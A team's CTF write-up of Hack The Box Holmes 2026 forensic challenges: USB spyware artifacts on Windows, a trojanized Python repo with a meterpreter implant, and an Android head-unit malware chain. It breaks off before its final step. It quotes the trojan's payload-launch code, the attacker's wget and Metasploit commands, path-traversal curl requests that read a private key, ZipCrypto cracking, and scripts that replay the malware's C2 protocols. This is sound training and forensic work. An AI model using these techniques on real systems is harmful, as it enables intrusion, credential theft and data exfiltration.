Holmes CTF 2026 - The Reichenbach Directive
Our team placed 34th in Hack The Box Holmes CTF 2026. This combined write-up brings together our solved Sherlock challenge notes, investigation paths, tools, and flags.
Paper Ghost (Sherlock 04)
Summary
A KAPE triage (RegistryHives + LNK/JumpLists + SRUM) of Clara Voss's laptop CO-LT-0469 shows a contractor-planted Lexar USB stick carrying a fake "driver update" (update.exe) that installed spyware. Every answer comes from a standard Windows artifact: USBSTOR/WPD keys, UserAssist, the CapabilityAccessManager consent store, SRUM, and the Windows Search index.
Solution
Step 1: Map each question to an artifact
Timestamps below are UTC, exactly as stored (the host is on Pacific time, UTC−7 in August, so local time is 7 h earlier).
| Q | Artifact | Location | Result |
|---|---|---|---|
| 1 First USB connection | USBSTOR first-install property 0064 | SYSTEM\ControlSet001\Enum\USBSTOR\Disk&Ven_Lexar…\<serial>\Properties\{83da6326-…}\0064 | 2026-08-19 15:35:50 |
| 2 USB serial | USBSTOR instance key (minus the &0 suffix) | same key | RS200000000627E4 |
| 3 Payload path | Mic/webcam consent-store key name (# = \) | NTUSER\…\CapabilityAccessManager\ConsentStore\microphone\NonPackaged | E:\CO-LT-0469 update package\update.exe |
| 4 Execution time | UserAssist, ROT13 value name, FILETIME at offset 60 (run count 1) | NTUSER\…\Explorer\UserAssist\{CEBFF5CD-…}\Count | 2026-08-19 15:36:25 |
| 5 USB asset name | FriendlyName of the WPD device (also in SOFTWARE\Microsoft\Windows Portable Devices\Devices) | SYSTEM\ControlSet001\Enum\SWD\WPDBUSENUM | CO-USB-0091 |
| 6 Mic capture start | LastUsedTimeStart for update.exe | consent store microphone | 2026-08-19 15:38:08 |
| 7 Webcam seconds | LastUsedTimeStop − LastUsedTimeStart = 126.98 s | consent store webcam | 127 |
| 8 Outbound MB | SRUM network table BytesSent = 172,064,531 for the payload's AppId | SRUDB.dat {973F5D5C-…} | 172.064531 |
| 9 Credentials | System_Search_AutoSummary of the indexed EXT-0419.pdf (Tom Ainsworth, DIOGENES ticketing developer) | Windows.edb SystemIndex_PropertyStore | tainsworth:D10g3n3s_T1ck3ts#2026 |
The timeline is consistent: USB in at 15:35:50, update.exe run 35 s later, microphone on at 15:38:08 (until 15:41:03), webcam 15:42:28–15:44:35, 172 MB sent in the 15:50 SRUM hour bucket, USB last arrival/removal at 15:51:06.
Step 2: One script, raw triage to all answers
Tested with Python 3.14.7, regipy 6.3.0, dissect.esedb 3.18. Run from the folder that contains PaperGhost/Triage/.
#!/usr/bin/env python3
"""Paper Ghost (Holmes CTF 2026, Sherlock 04) - one-shot solver.
Input : KAPE triage of cvoss's laptop (RegistryHives + LNK/JumpLists + SRUM + Search index)
Deps : pip install regipy dissect.esedb
Usage : python solve.py [path/to/Triage/C] (timestamps are UTC, as stored in the artifacts)
"""
import codecs, struct, sys, tempfile
from datetime import datetime, timedelta, timezone
from pathlib import Path
from dissect.esedb import EseDB
from regipy.recovery import apply_transaction_logs
from regipy.registry import RegistryHive
C = Path(sys.argv[1] if len(sys.argv) > 1 else "PaperGhost/Triage/C")
CFG = C / "Windows/System32/config"
USR = C / "Users/cvoss"
tmp = Path(tempfile.mkdtemp())
def raw(v): # regipy hands binary values back as bytes or as a hex string
return bytes.fromhex(v) if isinstance(v, str) else v
def ts(t): # FILETIME int (or regipy datetime) -> 'YYYY-MM-DD hh:mm:ss' (UTC, truncated)
if isinstance(t, int):
t = datetime(1601, 1, 1, tzinfo=timezone.utc) + timedelta(microseconds=t // 10)
return t.strftime("%Y-%m-%d %H:%M:%S")
def replayed(hive): # SYSTEM/SOFTWARE were copied dirty: apply LOG1+LOG2 first
out = tmp / hive
apply_transaction_logs(str(CFG / hive), str(CFG / f"{hive}.LOG1"),
str(CFG / f"{hive}.LOG2"), restored_hive_path=str(out))
return RegistryHive(str(out))
# --- Q1, Q2: USBSTOR (the only mass-storage device is the Lexar stick) -------------------
system = replayed("SYSTEM")
dev = next(system.get_key(r"\ControlSet001\Enum\USBSTOR").iter_subkeys())
inst = next(dev.iter_subkeys())
serial = inst.name.rsplit("&", 1)[0] # strip Windows' "&0" instance suffix
first = system.get_key(
rf"\ControlSet001\Enum\USBSTOR\{dev.name}\{inst.name}\Properties"
r"\{83da6326-97a6-4088-9453-a1923f573b29}\0064") # 0064 = first install
first_connect = ts(next(first.iter_values()).value) # regipy already decodes it to a datetime
# --- Q5: asset tag = device name Windows showed for the stick ----------------------------
wpd = system.get_key(r"\ControlSet001\Enum\SWD\WPDBUSENUM")
asset = next(v.value for k in wpd.iter_subkeys() if "USBSTOR" in k.name
for v in k.iter_values() if v.name == "FriendlyName")
# --- Q3, Q6, Q7: NTUSER ConsentStore (mic + webcam), key name = payload path with '#'=='\' ---
ntuser = RegistryHive(str(USR / "NTUSER.DAT"))
cs = r"\Software\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore"
def consent(cap):
for app in ntuser.get_key(rf"{cs}\{cap}\NonPackaged").iter_subkeys():
v = {x.name: x.value for x in app.iter_values()}
return app.name.replace("#", "\\"), v["LastUsedTimeStart"], v["LastUsedTimeStop"]
payload, mic_start, _ = consent("microphone")
_, cam_start, cam_stop = consent("webcam")
webcam_secs = round((cam_stop - cam_start) / 1e7)
# --- Q4: UserAssist (ROT13 names): last-run FILETIME lives at offset 60 of the 72-byte value ---
ua = ntuser.get_key(r"\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist"
r"\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count")
executed = next(ts(struct.unpack_from("<Q", raw(v.value), 60)[0]) for v in ua.iter_values()
if codecs.decode(v.name, "rot13").lower() == payload.lower())
# --- Q8: SRUM network usage ({973F5D5C...}) -> BytesSent for the payload's AppId ---------
srum = EseDB(open(C / "Windows/System32/SRU/SRUDB.dat", "rb"))
tail = payload.split(":", 1)[1].lower() # '\co-lt-0469 update package\update.exe'
ids = set()
for r in srum.table("SruDbIdMapTable").records():
blob = r.get("IdBlob")
if isinstance(blob, bytes) and blob.decode("utf-16le", "ignore").rstrip("\0").lower().endswith(tail):
ids.add(r.get("IdIndex")) # HarddiskVolume5 path (E:), not C:
sent = sum(r.get("BytesSent") or 0 for r in srum.table("{973F5D5C-1D90-4944-BE8E-24B94231A174}").records()
if r.get("AppId") in ids)
mb = f"{sent / 1e6:.6f}" # decimal megabytes
# --- Q9: Windows Search index keeps the text of PDFs Voss opened (System_Search_AutoSummary) ---
edb = EseDB(open(C / "ProgramData/Microsoft/search/data/applications/windows/Windows.edb", "rb"))
ps = edb.table("SystemIndex_PropertyStore")
col = {c.name.split("-", 1)[-1]: c.name for c in ps.columns}
creds = ""
for r in ps.records():
url, text = r.get(col["System_ItemUrl"]), r.get(col["System_Search_AutoSummary"])
if url and text and "DIOGENES_26" in url and "Password:" in text:
u = text.split("Username:")[1].split()[0]
p = text.split("Password:")[1].split()[0]
creds = f"{u}:{p}"
for i, (q, a) in enumerate([
("First USB connection (UTC)", first_connect), ("USB serial number", serial),
("Payload path", payload), ("Payload executed (UTC)", executed),
("USB asset name", asset), ("Microphone capture start (UTC)", ts(mic_start)),
("Webcam stream (seconds)", webcam_secs), ("Outbound MB to C2", mb),
("Developer credentials", creds)], 1):
print(f"Q{i} {q:<32} {a}")
Output:
Q1 First USB connection (UTC) 2026-08-19 15:35:50
Q2 USB serial number RS200000000627E4
Q3 Payload path E:\CO-LT-0469 update package\update.exe
Q4 Payload executed (UTC) 2026-08-19 15:36:25
Q5 USB asset name CO-USB-0091
Q6 Microphone capture start (UTC) 2026-08-19 15:38:08
Q7 Webcam stream (seconds) 127
Q8 Outbound MB to C2 172.064531
Q9 Developer credentials tainsworth:D10g3n3s_T1ck3ts#2026
Step 3: Traps worth knowing
- Asset name (Q5).
DIOGENES_26andEXT-0419show up as LNKs, but they are folders/PDFs on the localC:\Users\cvoss\Desktop, not the USB.WPDBUSENUMlists two entries for the stick:CO-USB-0091(the Lexar device, the asset tag, which matches theCO-LT-0469naming scheme) andVTOYEFI(the Ventoy EFI partition label). - SRUM (Q8). The same hour bucket has an unnamed
AppId 1with 177.89 MB sent. That is SRUM's unattributed system bucket; it appears in every hour (for example 489,535 B at 08:16 on Aug 20), so it is not C2. The payload isAppId 436(\Device\HarddiskVolume5\co-lt-0469 update package\update.exe), the only network row attributed to it. SRUM stores no destination IPs, so attribution is by process.SRUDB.datis flagged dirty, but its rows run through 2026-08-20 08:16, so the Aug 19 data is present. - Hive logs.
SYSTEMwas copied dirty (sequence 361 ≠ 360), so the script replaysLOG1/LOG2. Replaying (319 entries) does not change any answer here; the un-replayed hive gives the same USB values.NTUSER.DATis clean and itsLOG2replays to an identical file. - UserAssist (Q4). It is not wiped on this host; the entry is ROT13 (
R:\PB-YG-0469 hcqngr cnpxntr\hcqngr.rkr) and easy to miss when scanning for plain names. - Search index (Q9). The two CSVs (
DIOGENES_Contractor_Assignments.csv,IT_Asset_Inventory.csv) are indexed with only their header line. The credentials are in the PDF text;Password:occurs exactly once in the whole index.
Flag
Q1 2026-08-19 15:35:50
Q2 RS200000000627E4
Q3 E:\CO-LT-0469 update package\update.exe
Q4 2026-08-19 15:36:25
Q5 CO-USB-0091
Q6 2026-08-19 15:38:08
Q7 127
Q8 172.064531
Q9 tainsworth:D10g3n3s_T1ck3ts#2026
Poisoned Branch (Sherlock 05)
Summary
A Sherlock-style DFIR challenge with two evidence sources: a UAC triage bundle + full home-directory backup from Tom Ainsworth's Linux workstation (LT-TAinsworth), and a live spawned VM hosting the attacker's exposed C2 support infrastructure. Tom cloned a trojanized "internal" pip-style repo (diogenes-ticket-parser) whose install path reconstructs and launches an ELF meterpreter implant via an XOR trick (decoy JPEG ⊕ "calibration" blob = payload). The implant calls back to a Metasploit handler; the attacker browses Tom's filesystem, steals an HR roster PDF, then cleans up. Pivoting to the attacker's own exposed Flask file-server (LFI in a ?file= download parameter) and ultimately to a real shell on that box (via a private key the LFI could read) surfaces the remaining artifacts, including a password-protected loot archive cracked with a known-plaintext attack.
Solution
Step 1 — Identify the malicious repo and reconstruct the payload (flags 1–4)
Tom's home directory (Tom.zip) contains several git repos under Projects/. Four are genuine upstream clones (csvtomd, json-to-csv, dlt) or legitimate internal tools (diogenes-breakroom-roster); diogenes-ticket-parser is the odd one out — its git remote points at an internal Gitea (devforge.internal:3000) but its own README tells the victim to git clone it from a public-looking github.com/diogenes-support/... URL, and its single commit is authored by a fictitious external contractor:
git -C diogenes-ticket-parser log --all --format='%H %an <%ae> %s'
# 81d8e74... Sebastain Moran <cbass.Moran@blackpearl2026.htb> Initial project import
ticket_parser.py imports src/ticket_parser/telemetry.py, whose validate_environment() does the actual dirty work:
image_data = (source_dir / "diogenes.jpg").read_bytes() # decoy image
calibration_data = (source_dir / "calibration.bin").read_bytes() # "encrypted" payload
reconstructed = repeating(image_data, calibration_data) # repeating-key XOR
(Path.home() / ".cache" / ".ticket-parser" / ".integrity").write_bytes(reconstructed)
subprocess.run(b64decode(_CALIBRATION).decode(), shell=True, ...)
# -> chmod +x ~/.cache/.ticket-parser/.integrity; ~/.cache/.ticket-parser/.integrity 2>&1 &
file on the reconstructed artifact confirms it's a real ELF (static-pie linked, with debug_info — consistent with a compiled meterpreter/mettle payload, not a raw shell script).
| # | Flag | Answer |
|---|---|---|
| 1 | Malicious repository name | diogenes-ticket-parser |
| 2 | Author email | cbass.Moran@blackpearl2026.htb |
| 3 | File holding the encrypted payload | calibration.bin |
| 4 | Full path of the C2 implant | /home/Tom/.cache/.ticket-parser/.integrity |
Step 2 — Live process/network state (flags 5–6)
UAC's live-response captures give the running implant's socket directly:
$ cat live_response/network/ss_-tanp.txt
ESTAB 0 0 192.168.0.21:50878 203.0.113.10:31337 users:((".integrity",pid=1514,fd=4))
| # | Flag | Answer |
|---|---|---|
| 5 | Callback port | 31337 |
| 6 | Implant PID | 1514 |
Step 3 — Reconstruct the attack timeline from auditd (flags 7–10)
[root]/var/log/audit/audit.log has an execve watch on Tom's UID. Pairing each SYSCALL/EXECVE record by (timestamp, audit-id) and hex-decoding the EXECVE arguments (auditd hex-encodes any arg containing special bytes, here including an embedded newline) reconstructs the attacker's interactive shell over the implant:
# match SYSCALL(syscall=59)+EXECVE records by (ts, audit-id), hex/quoted-decode argv
# see full script used in-session; key lines below
[14:26:40] pid=1520 ppid=1516 wget -q --header=Cookie: X-Operator-Auth=napoleon_moran_1894 \
-O authorized_keys http://BlackPearl2026.htb:9999/download?file=../../.ssh/id_rsa.pub
[14:34:50] pid=1528 ppid=1525 wget ... http://203.0.113.10:9999/download?file=../../.ssh/id_rsa.pub
[14:40:57] pid=1551 ppid=1549 rm Gov_HR_Continuity_Emergency_Callout_Roster.pdf
The first wget uses the hostname (fails to resolve without a hosts entry — hence "attempted"); the second falls back to the raw IP once the attacker realized the hostname wouldn't resolve on the target.
| # | Flag | Answer |
|---|---|---|
| 7 | URL:PORT tried before IP:PORT | BlackPearl2026.htb:9999 |
| 8 | Cookie/Token name for attacker's web server | X-Operator-Auth=napoleon_moran_1894 |
| 9 | Command that deleted a file | rm Gov_HR_Continuity_Emergency_Callout_Roster.pdf |
| 10 | PPID of that command | 1549 |
Step 4 — Pivot to the attacker's exposed server (flags 11–12)
Port 9999 on the spawned VM is a Flask app ("Moran File Exchange") gated by the exact cookie recovered above, with a path-traversal download route:
COOKIE_NAME, COOKIE_VALUE = "X-Operator-Auth", "napoleon_moran_1894"
PUBLIC_DIR = Path("/home/moran/Flask_server/public")
target_file = PUBLIC_DIR / requested_file # pathlib silently drops PUBLIC_DIR
if not target_file.is_file(): return 404 # if requested_file is absolute
return send_file(target_file, ...)
Two traversal properties matter: ../../<path> escapes PUBLIC_DIR to anywhere under /home/moran, and — because Path.joinpath discards the left side when the right side is absolute — an absolute file= value reads anything the moran user can read, system-wide:
curl --resolve BlackPearl2026.htb:9999:<VM_IP> \
-H 'Cookie: X-Operator-Auth=napoleon_moran_1894' \
'http://BlackPearl2026.htb:9999/download?file=/home/moran/.msf4/history'
# exit; use exploit/multi/handler; set lport 31337; set lhost blackpearl2026.htb
# set payload linux/x64/meterpreter_reverse_tcp; run
curl ... '.../download?file=/home/moran/.msf4/meterpreter_history'
# ... search -d ONBOARDING -f *.pdf ... download Gov_HR_Continuity_Emergency_Callout_Roster.pdf
| # | Flag | Answer |
|---|---|---|
| 11 | Command declaring the implant's architecture | set payload linux/x64/meterpreter_reverse_tcp |
| 12 | Command locating a specific directory+file combo | search -d ONBOARDING -f *.pdf |
Step 5 — Real shell + known-plaintext zip attack (flags 13–15)
The download route runs as moran, so the same absolute-path LFI can read files moran owns even at 0600 — including their own private key:
curl ... '.../download?file=/home/moran/.ssh/id_rsa' > moran_id_rsa
chmod 600 moran_id_rsa
ssh -i moran_id_rsa moran@<VM_IP> \
"find /home/moran -iname '*roster*' -o -iname '*loot*' -o -iname '*exfil*'"
# -> /home/moran/Exfiltrated_Loot/LOOT.zip
LOOT.zip (cvoss_exfil, the roster PDF, README.txt) is password-protected. An unencrypted copy of README.txt was left sitting next to the zip on disk (an opsec mistake — the very README says "remove remnants"). Same plaintext + same size (83 bytes) inside the zip is exactly what a Biham–Kocher known-plaintext attack needs — no password required at all, just the internal ZipCrypto keystream state:
# plaintext must match the *compressed* bytes actually encrypted (deflate, level>=1 for this input)
python3 -c "import zlib; d=open('README.txt','rb').read(); \
open('readme.deflate','wb').write(zlib.compressobj(6, zlib.DEFLATED, -15).compress(d) + b'')"
bkcrack -C LOOT.zip -c README.txt -p readme.deflate
# Keys: 85b6bbc1 27824945 ce665bee
bkcrack -C LOOT.zip -k 85b6bbc1 27824945 ce665bee -D decrypted.zip
unzip decrypted.zip
cvoss_exfil turns out to be a harvested credential (tainsworth:d10g3n3s_T1ck3ts#2026:forever) — not itself a flag, but confirms the "false employee" pretext from the story PDF. The roster PDF (DIOGENES HR CONTINUITY — Emergency Call-Out Roster) has one row with its Position field literally replaced with REDACTED and Handling: CONFIDENTIAL:
DIO-1648 Sarah Kemp skemp Identity Operations REDACTED Tier 1
+44 7700 900 317 Flat 6, Ashdown House, Palace Court, London W2 4LS CONFIDENTIAL
| # | Flag | Answer |
|---|---|---|
| 13 | File holding the exfiltrated documents | LOOT.zip |
| 14 | Person with redacted position | Sarah Kemp |
| 15 | Their address | Flat 6, Ashdown House, Palace Court, London W2 4LS |
Flags
1 diogenes-ticket-parser
2 cbass.Moran@blackpearl2026.htb
3 calibration.bin
4 /home/Tom/.cache/.ticket-parser/.integrity
5 31337
6 1514
7 BlackPearl2026.htb:9999
8 X-Operator-Auth=napoleon_moran_1894
9 rm Gov_HR_Continuity_Emergency_Callout_Roster.pdf
10 1549
11 set payload linux/x64/meterpreter_reverse_tcp
12 search -d ONBOARDING -f *.pdf
13 LOOT.zip
14 Sarah Kemp
15 Flat 6, Ashdown House, Palace Court, London W2 4LS
Tools used
git, Python 3 (re/collections for audit-log correlation, zlib for deflate matching), curl --resolve (hostname pinning without touching /etc/hosts), ssh, unzip/zipinfo, zip2john/john (ruled out dictionary attack), bkcrack 1.8.1 (known-plaintext ZipCrypto key recovery), nmap.
Lessons
pathlib'sPath / othersilently discards the left operand whenotheris
absolute — a very common source of "traversal-protected" download endpoints that are actually full arbitrary-file-read when the input isn't rejected for a leading /.
- A service that reads files "as" a low-privileged user still exposes that user's own
0600 secrets (SSH keys, history files) — file-permission bits don't help against an LFI running under the same UID that owns the target file.
- Never leave an unencrypted staging copy next to an encrypted deliverable: even 83
bytes of matching plaintext is enough for a Biham–Kocher known-plaintext attack to recover full ZipCrypto keys, no password guessing needed.
Silent Passenger
Summary
A 1GB Allwinner Android head-unit firmware image (firmware.zip) hides a five-stage malware chain: a privileged MQTT-driven APK installer silently drops an app, which reflectively assembles and downloads three further DEX stages over a custom RSA-encrypted HTTP protocol, ending in a live SOCKS-style proxy C2 exposed on the challenge's docker ports. All 20 flags were solved by combining static reversal (jadx decompilation of five APK/DEX stages) with live interaction against the provided IP:PORT docker services — replaying the malware's own MQTT, HTTP and raw TCP protocols in Python rather than running the APK anywhere.
Flags
| # | Question (short) | Flag | |
|---|---|---|---|
| 1 | Privileged package responsible for the unauthorized install | /system/priv-app/TWCore/TWCore.apk:d7569563cd0491e76d28a1c6a9929234ffffcf035194d2288d888dced7aa11c2 | |
| 2 | System property checked alongside locale for region selection | ro.com.google.gmsversion | |
| 3 | MQTT service + credentials for the affected region | `tcp://mqtt.car.cardoor.cn:1883\ | dofun:dofun666666` |
| 4 | MQTT topic filter carrying update instructions | dofun/car/config/# | |
| 5 | Package delivered through the updater | com.tw.jar1:12:6c2e34b30da42085240ede53ab6107d4 | |
| 6 | Reflective entry point + campaign channel | com.c.j.qbh.wa:2039 | |
| 7 | SHA-256 of the reconstructed next stage | cf5c8c624967775230573a5a552e2e4e2b3653f2362e8c9b66a801e3b251f37c | |
| 8 | Version the stage reports to its update infra | 1.7 | |
| 9 | API endpoint hidden in the update request | /api/rsaUpdate | |
| 10 | Host-independent path of the next object | /vr34der34/dex3.68.png | |
| 11 | SHA-256 of the executable archive recovered from that object | 79e01a591c81554b57e0baaf877ca0a1a1f86f39d38973faa1580089b675838d | |
| 12 | First config request-target of the control stage | /api/init?configVersion=3.8&rsa=1&channelId=2039 | |
| 13 | UID assigned by the registration service | 00005bp | |
| 14 | Product:task:version tuple assigned to the implant | 4532:34337681:1787907664 | |
| 15 | Script op + field that delivers the final module | loadlib2:url | |
| 16 | SHA-256 of the final downloaded module | 906734ebb9a274c5c83a22a4475e27354857d7b5b62a4ab6bb5d8d365692e963 | |
| 17 | DEX method descriptor of the module entry point | (Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;IIII)V | |
| 18 | Four ints passed to the entry point | 9999,7777,8888,20000 | |
| 19 | Auth frame sent when opening the primary command channel | 33000000420000000730303030356270 | |
| 20 | Coordinates where the relay was parked | 51.4997000,-0.1608000 |
Solution
Step 1 — Unpack the firmware and mount the system partition (Flags 1–4)
The zip contains a History.txt build log plus five raw partition blobs. 5a2f8d64-....{0,1,2} is a split ext4 system image; the other two blobs (597b623a-..., 5d1809fc-...) are uniform high-entropy at every offset (no boot/partition magic anywhere) — genuinely encrypted userdata, a dead end.
unzip firmware.zip -d fw
cat fw/5a2f8d64-bf39-11e9-abb7-3733648aa093.{0,1,2} > fw/system.img
debugfs -R "rdump / fw/sys" fw/system.img
fw/sys/priv-app/TWCore/TWCore.apk is the only priv-app with sharedUserId="android.uid.system" and INSTALL_PACKAGES — the privileged installer (flag 1, path + SHA-256 of the APK).
J=~/Security/Tools/jadx/bin/jadx
$J -q -d dec/TWCore fw/sys/priv-app/TWCore/TWCore.apk
grep -rn "SystemProperties\|MqttAsyncClient" dec/TWCore/sources/com/tw/core
Reading com/tw/core/e/e.java (lB()) shows the region switch compares SystemProperties.get("ro.com.google.gmsversion") against the device locale (flag 2). com/tw/core/a/a.java hard-codes the China-region broker tcp://mqtt.car.cardoor.cn:1883 and com/tw/core/f/d.java the credentials dofun:dofun666666 (flag 3). com/tw/core/app/a.java builds the subscribed topic dofun/car/config/# (flag 4), confirmed against the live broker on the challenge's :31801 port.
Step 2 — Trigger the live MQTT broker for the drop config (Flag 5)
TWCore.apk:31801 is a real Mosquitto-style broker. dofun:dofun666666 can publish anything but is subscribe-denied at QoS 1 — QoS 0 works and reveals a retained message on the app-config topic:
import paho.mqtt.client as mqtt, base64, json, time
msgs = {}
def on_connect(c,u,f,rc,*a): c.subscribe('dofun/car/config/#', 0)
def on_message(c,u,m): msgs[m.topic] = m.payload
c = mqtt.Client(client_id='car-real')
c.username_pw_set('dofun', 'dofun666666')
c.on_connect, c.on_message = on_connect, on_message
c.connect('154.57.164.82', 31801, 15)
c.loop_start(); time.sleep(4); c.loop_stop()
payload = msgs['dofun/car/config/upgrade'].decode('latin1')
print(json.loads(base64.b64decode(payload[22:])))
# {"package": "com.tw.jar1", "flag": 12, "path": "http://127.0.0.1/payloads/jarservice-v1.12.apk",
# "key": "6c2e34b30da42085240ede53ab6107d4", "not_exist_install": true, "type": 0}
That's flag 5: com.tw.jar1:12:6c2e34b30da42085240ede53ab6107d4 (package:flag:md5). Fetching that URL against the challenge's plain-HTTP docker port (:31398) required the Host: 127.0.0.1 header — the backend routes by SNI/Host, not by literal IP:
curl -H 'Host: 127.0.0.1' http://154.57.164.82:31398/payloads/jarservice-v1.12.apk -o jar1.apk
md5sum jar1.apk # matches 6c2e34b30da42085240ede53ab6107d4
Step 3 — Reverse the dropped app's obfuscated loader (Flags 6–7)
com.tw.jar1's App.onCreate() calls com.x.zg.ifz.t(context), which XOR-decodes a hard-coded campaign id and hands off to a worker thread (ifz.t → b.run). b.run reflectively loads a class assembled from 30 byte[] chunks (c.b,c.c,c.d,d.b,...l.d) scattered across obfuscated classes c–l.
import re, struct, io, hashlib
def arrs(cls):
txt = open(f'dec/jar1/sources/com/x/zg/{cls}.java').read()
return {n: bytes(int(x) & 0xff for x in
re.search(rf'byte\[\]\s+{n}\s*=\s*\{{([^}}]*)\}}', txt)
.group(1).replace('\n', '').split(',') if x.strip())
for n in ('b', 'c', 'd')}
order = [v for cls in 'cdefghijkl' for v in arrs(cls).values()]
buf = bytearray()
for i, arr in enumerate(order):
buf += bytes(b ^ ((30 - i) & 0xff) for b in arr)
r = io.BytesIO(bytes(buf))
r.read(4) # float, unused
r.read(4) # int, unused
def readUTF(r):
n = struct.unpack('>H', r.read(2))[0]
return r.read(n).decode()
cls_name, method = readUTF(r), readUTF(r) # com.c.j.qbh, wa -> flag 6
dex = r.read()
open('stage2.jar', 'wb').write(dex)
print(cls_name + '.' + method + ':2039') # flag 6
print(hashlib.sha256(dex).hexdigest()) # flag 7
Class + method + channel gives flag 6: com.c.j.qbh.wa:2039. The reconstructed archive's hash is flag 7: cf5c8c624967775230573a5a552e2e4e2b3653f2362e8c9b66a801e3b251f37c.
Step 4 — Decompile stage 2 and replay its RSA update protocol (Flags 8–11)
com.c.j.qbh.wa starts a thread that builds an RSA-PKCS1v1.5-encrypted JSON request to /api/rsaUpdate, obfuscated behind a path-mangling scheme (/apiv2/<hex> = double-XOR + timestamp + nonce). All strings in this stage are a static char - N cipher (a.a(literal, N)), decoded in bulk with a small script rather than by hand.
import time, random, json, uuid, urllib.request, ssl
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
pub = RSA.import_key(open('rsa_pub.der', 'rb').read()) # extracted from r.a byte[] literal
priv = RSA.import_key(open('rsa_priv.der', 'rb').read()) # extracted from r.b byte[] literal
enc, dec = PKCS1_v1_5.new(pub), PKCS1_v1_5.new(priv)
def rsa_enc(s):
b = s.encode(); return b''.join(enc.encrypt(b[i:i+117]) for i in range(0, len(b), 117))
def rsa_dec(b):
return b''.join(dec.decrypt(b[i:i+128], b'') for i in range(0, len(b), 128))
def bxor(s, key):
return bytes((s.encode()[i] ^ key.encode()[i % len(key)]) & 0xff for i in range(len(s)))
def build_path(endpoint="/api/rsaUpdate"):
ts, rnd = int(time.time()), random.randint(10000, 99999)
inner = bxor(endpoint, str(rnd)).hex()
mid = f'{inner}|{ts}|{rnd}'
return "/apiv2/" + bxor(mid, "Mu^38Ydeo233Uowd").hex()
body = json.dumps({"userId": uuid.uuid4().hex, "dexVersion": "1.0", "dexType": 1,
"channelId": "2039", "packageName": "com.tw.jar1", "appVersion": 12})
req = urllib.request.Request(f'http://154.57.164.82:31398{build_path()}',
data=rsa_enc(body), method='POST',
headers={'Host': 'a1.xshaon123.sbs'})
resp = urllib.request.urlopen(req, timeout=10).read()
print(rsa_dec(resp).decode())
# {"code":200,"data":{"dexUrl":"http://127.0.0.1/vr34der34/dex3.68.png","dexVersion":3.68,"status":0}}
The stage's own version literal (m.java, field f) is flag 8: 1.7. The concealed endpoint is flag 9: /api/rsaUpdate. The dexUrl in the decrypted response gives flag 10: /vr34der34/dex3.68.png.
The "png" is a fake extension: c.a() in stage2 reads 1 marker byte + a 4-byte float, then XORs the rest with int(float * 100) & 0xff:
import struct, hashlib
raw = urllib.request.urlopen(urllib.request.Request(
'http://154.57.164.82:31398/vr34der34/dex3.68.png',
headers={'Host': '127.0.0.1'})).read()
r = io.BytesIO(raw)
r.read(1)
flt = struct.unpack('>f', r.read(4))[0]
key = int(flt * 100) & 0xff
dex = bytes(b ^ key for b in r.read())
print(hashlib.sha256(dex).hexdigest()) # flag 11
Flag 11: 79e01a591c81554b57e0baaf877ca0a1a1f86f39d38973faa1580089b675838d.
Step 5 — Register with the control stage's C2 (Flags 12–16)
This archive (stage 3) is a full ad-fraud "control SDK" (com.ast.sdk / com.a.b.a) with its own RSA keypair and JSON protocol: GET /api/init for config, then a device-registration POST /cpc/api/task.
# GET /api/init?configVersion=3.8&rsa=1&channelId=2039 -> flag 12
target = "/api/init?configVersion=3.8&rsa=1&channelId=2039"
resp = urllib.request.urlopen(urllib.request.Request(
f'http://154.57.164.82:31398{target}',
headers={'Host': 'a1.xshaon123.sbs'})).read()
config = json.loads(rsa_dec(resp)) # new hosts, reportApi, taskApi...
# UID via /cpc/api/proxy/origin
uid = json.loads(urllib.request.urlopen(urllib.request.Request(
'http://154.57.164.82:31398/cpc/api/proxy/origin',
headers={'Host': 't2.tshuoah1.xyz'})).read())['data'] # "00005bp" -> flag 13
# POST /cpc/api/task with RSA-encrypted device+app blob
body = json.dumps({"absDevice": {"model": "QUAD-CORE T3 p1", "uid": uid},
"appInfo": {"packageName": "com.tw.jar1", "appVersion": 12},
"channelId": "2039", "dexVersion": "3.68", "configVersion": "3.82"})
resp = urllib.request.urlopen(urllib.request.Request(
'http://154.57.164.82:31398/cpc/api/task', data=rsa_enc(body), method='POST',
headers={'Host': 't2.tshuoah1.xyz'})).read()
print(rsa_dec(resp).decode())
# {"code":200,"data":{"orderId":20260001,"tasks":[{"productId":4532,"taskId":34337681,"version":1787907664,"rank":10}]}}
Flag 13: 00005bp. Flag 14: 4532:34337681:1787907664 (productId:taskId:version).
Fetching the actual task script (GET /cpc/api/xml?productId=4532) returns a JSON-embedded script object with "tagName":"loadlib2" and a url/md5 pair. Matching it against cf.java's task-type map ("loadlib2" → bn.class) and reading bn.a()'s field mapping shows the module is fetched from field url under operation loadlib2 — flag 15: loadlib2:url.
curl -H 'Host: 127.0.0.1' http://154.57.164.82:31398/vr34der34/sh66.io -o module.jar
sha256sum module.jar # flag 16
Flag 16: 906734ebb9a274c5c83a22a4475e27354857d7b5b62a4ab6bb5d8d365692e963.
Step 6 — Decompile the final module and reconstruct its live auth frame (Flags 17–19)
module.jar is com.miyc.transfer — a raw SOCKS-style proxy client. The task's params array gives its exact invocation:
Client.start(Context, "127.0.0.1", "1002", 9999, 7777, 8888, 20000)
Client.start(Context, String, String, int, int, int, int) is flag 17 (as a DEX descriptor: (Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;IIII)V). The four trailing ints are flag 18: 9999,7777,8888,20000.
start() eventually opens class e — a socket to (host, port1) that writes an auth frame the instant it connects:
this.f = u.a(g.h, str2.getBytes()); // g.h = 51 (0x33), str2 = uid
// u.a(byte b, byte[] data):
// [b][4-byte-BE(66)][4-byte-BE(len(data))][data]
def a4(i): return i.to_bytes(4, 'big')
uid = b"00005bp" # from flag 13
frame = bytes([51]) + a4(66) + a4(len(uid)) + uid
print(frame.hex()) # flag 19
Flag 19: 33000000420000000730303030356270. Sending this exact frame to the challenge's raw TCP port :32179 confirmed it live — the server replied with a real relay instruction, proving :32179 is the deployed C2 for this "port 9999" role.
Step 7 — Complete the live relay to recover the final task's coordinates (Flag 20)
